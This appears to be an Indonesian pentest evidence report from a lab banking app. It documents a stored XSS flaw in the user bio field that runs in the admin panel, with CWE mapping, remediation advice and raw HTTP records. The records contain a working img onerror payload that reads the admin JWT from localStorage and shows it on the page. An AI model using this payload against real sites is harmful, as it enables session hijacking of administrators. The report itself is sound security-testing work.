Skenario 18 / 26FAIL

Stored Cross-Site Scripting - User Profile - Bio Field

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field

Deskripsi

Endpoint /update_bio menyimpan isi bio tanpa sanitasi apa pun. Panel administrasi kemudian menyisipkan nilai tersebut ke dalam DOM melalui innerHTML pada template literal tanpa escaping (templates/admin.html), sementara field lain di modal yang sama seperti id dan account_number justru melewati fungsi escapeHtml. Akibatnya markup yang dikirim pengguna biasa dieksekusi sebagai HTML di dalam sesi administrator.

Dampak

Confidentiality + Integrity (Critical): pengguna dengan hak paling rendah dapat menanam skrip yang berjalan di browser administrator tanpa interaksi apa pun selain membuka detail pengguna, yang merupakan tugas rutin admin. Karena token sesi disimpan di localStorage dan dapat dibaca JavaScript, payload berhasil mengambil JWT administrator secara utuh. Token tersebut memberi penyerang kendali penuh atas panel administrasi, termasuk menghapus akun, membuat administrator baru, dan menyetujui pinjaman.

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

OWASP

A03:2021 - Injection

Skenario

Normal: bio diisi teks biasa dan tampil sebagai teks pada modal detail pengguna di panel admin. Eksploitasi: penyerang mengisi bio dengan tag img beserta handler onerror. Payload tersimpan mentah dan dikembalikan apa adanya oleh /api/v3/user/2. Dampak: administrator membuka modal detail pengguna tersebut, payload dieksekusi di dalam sesi administrator dan membaca JWT administrator dari localStorage.

Endpoint

POST http://127.0.0.1:5001/update_bio GET http://127.0.0.1:5001/api/v3/user/<user_id> Sink: http://127.0.0.1:5001/sup3r_s3cr3t_admin (modal detail pengguna)

Fitur terdampak

Bio profil pengguna dan modal detail pengguna pada panel administrasi

Rekomendasi perbaikan

- Render nilai yang berasal dari pengguna sebagai teks (textContent), bukan innerHTML; terapkan escapeHtml pada field bio sebagaimana sudah dilakukan pada field lain di modal yang sama. - Sanitasi bio di sisi server dengan pustaka allow-list saat disimpan dan saat dikembalikan API. - Terapkan Content-Security-Policy yang melarang inline script dan handler event. - Simpan token sesi pada cookie HttpOnly dan SameSite, bukan localStorage, agar tidak terjangkau JavaScript.

Bukti konsep

1) (Screenshot 1) NORMAL: bio diisi teks biasa melalui /update_bio -> tersimpan. 2) (Screenshot 2) EKSPLOITASI: bio diisi tag img dengan handler onerror -> diterima tanpa sanitasi. 3) (Screenshot 3) SINK: /api/v3/user/2 mengembalikan payload mentah apa adanya, inilah data yang dikonsumsi panel admin. 4) (Screenshot 4) NORMAL UI: administrator membuka modal detail pengguna saat bio berisi teks biasa -> tampil sebagai teks. 5) (Screenshot 5) DAMPAK CIA: administrator membuka modal detail pengguna yang sama setelah payload ditanam -> skrip dieksekusi di dalam sesi administrator dan menampilkan JWT administrator yang berhasil dicuri secara utuh.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Stored Cross-Site Scripting - User Profile - Bio Field

Description:
Endpoint /update_bio menyimpan isi bio tanpa sanitasi apa pun. Panel administrasi kemudian menyisipkan nilai tersebut ke dalam DOM melalui innerHTML pada template literal tanpa escaping (templates/admin.html), sementara field lain di modal yang sama seperti id dan account_number justru melewati fungsi escapeHtml. Akibatnya markup yang dikirim pengguna biasa dieksekusi sebagai HTML di dalam sesi administrator.

Impact:
Confidentiality + Integrity (Critical): pengguna dengan hak paling rendah dapat menanam skrip yang berjalan di browser administrator tanpa interaksi apa pun selain membuka detail pengguna, yang merupakan tugas rutin admin. Karena token sesi disimpan di localStorage dan dapat dibaca JavaScript, payload berhasil mengambil JWT administrator secara utuh. Token tersebut memberi penyerang kendali penuh atas panel administrasi, termasuk menghapus akun, membuat administrator baru, dan menyetujui pinjaman.

CWE:
CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

OWASP:
A03:2021 - Injection

Scenario:
Normal: bio diisi teks biasa dan tampil sebagai teks pada modal detail pengguna di panel admin. Eksploitasi: penyerang mengisi bio dengan tag img beserta handler onerror. Payload tersimpan mentah dan dikembalikan apa adanya oleh /api/v3/user/2. Dampak: administrator membuka modal detail pengguna tersebut, payload dieksekusi di dalam sesi administrator dan membaca JWT administrator dari localStorage.

Endpoint:
POST http://127.0.0.1:5001/update_bio
GET  http://127.0.0.1:5001/api/v3/user/<user_id>
Sink: http://127.0.0.1:5001/sup3r_s3cr3t_admin (modal detail pengguna)

Affected Feature:
Bio profil pengguna dan modal detail pengguna pada panel administrasi

Remediation:
- Render nilai yang berasal dari pengguna sebagai teks (textContent), bukan innerHTML; terapkan escapeHtml pada field bio sebagaimana sudah dilakukan pada field lain di modal yang sama.
- Sanitasi bio di sisi server dengan pustaka allow-list saat disimpan dan saat dikembalikan API.
- Terapkan Content-Security-Policy yang melarang inline script dan handler event.
- Simpan token sesi pada cookie HttpOnly dan SameSite, bukan localStorage, agar tidak terjangkau JavaScript.

POC:
1) (Screenshot 1) NORMAL: bio diisi teks biasa melalui /update_bio -> tersimpan.
2) (Screenshot 2) EKSPLOITASI: bio diisi tag img dengan handler onerror -> diterima tanpa sanitasi.
3) (Screenshot 3) SINK: /api/v3/user/2 mengembalikan payload mentah apa adanya, inilah data yang dikonsumsi panel admin.
4) (Screenshot 4) NORMAL UI: administrator membuka modal detail pengguna saat bio berisi teks biasa -> tampil sebagai teks.
5) (Screenshot 5) DAMPAK CIA: administrator membuka modal detail pengguna yang sama setelah payload ditanam -> skrip dieksekusi di dalam sesi administrator dan menampilkan JWT administrator yang berhasil dicuri secara utuh.

02 — Tangkapan layar

Tangkapan layar (5)

01 / 1
02 / 2
03 / 3
04 / 4
05 / 5

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
POST /update_bio HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 48
Content-Type: application/json

{"bio": "Personal banking customer since 2024."}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:53 GMT

{
  "bio": "Personal banking customer since 2024.",
  "message": "Bio updated successfully",
  "status": "success"
}
REKAMAN 02 / 2
HTTP request
POST /update_bio HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 413
Content-Type: application/json

{"bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 484
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:55 GMT

{
  "bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">",
  "message": "Bio updated successfully",
  "status": "success"
}
REKAMAN 03 / 3
HTTP request
GET /api/v3/user/2 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 597
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:03:56 GMT

{
  "status": "success",
  "user": {
    "account_number": "0932191785",
    "balance": -8100.0,
    "bio": "<img src=x onerror=\"var d=document.createElement('div');d.id='pwn';d.setAttribute('style','position:fixed;top:0;left:0;right:0;z-index:99999;background:#d3372c;color:#fff;padding:14px 18px;font:13px ui-monospace,Menlo,monospace;word-break:break-all;line-height:1.5;box-shadow:0 2px 10px rgba(0,0,0,.35)');d.textContent='Stolen admin JWT: '+localStorage.getItem('jwt_token');document.body.prepend(d)\">",
    "id": 2,
    "is_admin": false,
    "username": "pentest_attacker"
  }
}